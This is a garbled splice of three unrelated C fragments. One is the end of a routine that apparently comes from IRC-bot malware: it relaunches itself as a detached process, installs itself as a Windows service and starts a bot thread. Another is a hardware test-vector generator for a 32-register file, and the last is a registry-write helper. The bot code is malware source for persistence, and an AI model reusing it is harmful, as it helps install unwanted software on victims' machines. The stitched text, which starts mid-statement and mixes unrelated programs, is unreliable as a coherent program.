(CreateProcess(svcpath,NULL,NULL,NULL,TRUE,NORMAL_PRIORITY_CLASS|DETACHED_PROCESS,NULL,movetopath,&sinfo,&pinfo)) { Sleep(200); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); fWSACleanup(); ExitProcess(EXIT_SUCCESS); } #endif // NO_SERVICE ExitProcess(1); } #endif // _DEBUG #ifndef NO_SERVICE if(fStartServiceCtrlDispatcher(servicetable) == 0) InstallService(svcpath); #else DWORD id; HANDLE threadhandle; if((threadhandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)BotThread, NULL, 0, &id)) == 0) return 0; WaitForSingleObject(threadhandle, INFINITE); CloseHandle(threadhandle); #endif // NO_SERVICE #ifdef _DEBUG // CloseLog(); #endif return 0; }
int main () { DEF_GENPAT("dpt_regfile_genpat"); // endereços de entrada DECLAR("CLK", ":2", "B", IN , "", ""); DECLAR("A3" , ":2", "X", IN , "4 down to 0" , ""); DECLAR("WD3", ":2", "X", IN , "31 down to 0", ""); DECLAR("WE3", ":2", "B", IN , "", ""); DECLAR("A1" , ":2", "X", IN , "4 down to 0" , ""); DECLAR("RD1", ":2", "X", OUT, "31 down to 0", ""); DECLAR("A2" , ":2", "X", IN , "4 down to 0" , ""); DECLAR("RD2", ":2", "X", OUT, "31 down to 0", ""); DECLAR("Vdd", ":2", "B", IN , "", "" ); DECLAR("Vss", ":2", "B", IN , "", "" ); LABEL ("regfile"); AFFECT(cvect(), "Vdd", "0b1"); AFFECT(cvect(), "Vss", "0b0"); AFFECT(cvect(), "CLK", inttostr(CLK)); RegInit(); RegAffect(); RegA3 = 0; RegWD3 = 0xFFFFFFFF; RegWE3 = 1; RegAffect(); curvect++; toggleClock(); RegWrite(); curvect++; toggleClock(); int reg; for(reg = 1; reg < 32; reg++) { RegA1 = reg - 1; RegA2 = reg; RegA3 = reg; RegWD3 = 0x00000000; RegWE3 = 1; RegAffect(); curvect++; toggleClock(); RegWrite(); curvect++; toggleClock(); RegWD3 = 0xFFFFFFFF; RegWE3 = 0; RegAffect(); curvect++; toggleClock(); RegWrite(); curvect++; toggleClock(); RegWE3 = 1; RegAffect(); curvect++; toggleClock(); RegWrite(); curvect++; toggleClock(); RegWD3 = 0x00000000; RegWE3 = 0; RegAffect(); curvect++; toggleClock(); RegWrite(); curvect++; toggleClock(); RegWE3 = 1; RegAffect(); curvect++; toggleClock(); RegWrite(); curvect++; toggleClock(); if(reg % 2 == 1) { RegWD3 = 0xFFFFFFFF; RegWE3 = 1; RegAffect(); curvect++; toggleClock(); RegWrite(); curvect++; toggleClock(); } } SAV_GENPAT (); return 0; }
BOOL RegWrite(HKEY root,char *subkey,char *name,DWORD data) { RQUERY rq; rq.dwQuery=data; return RegWrite(root,subkey,name,REG_DWORD,rq); }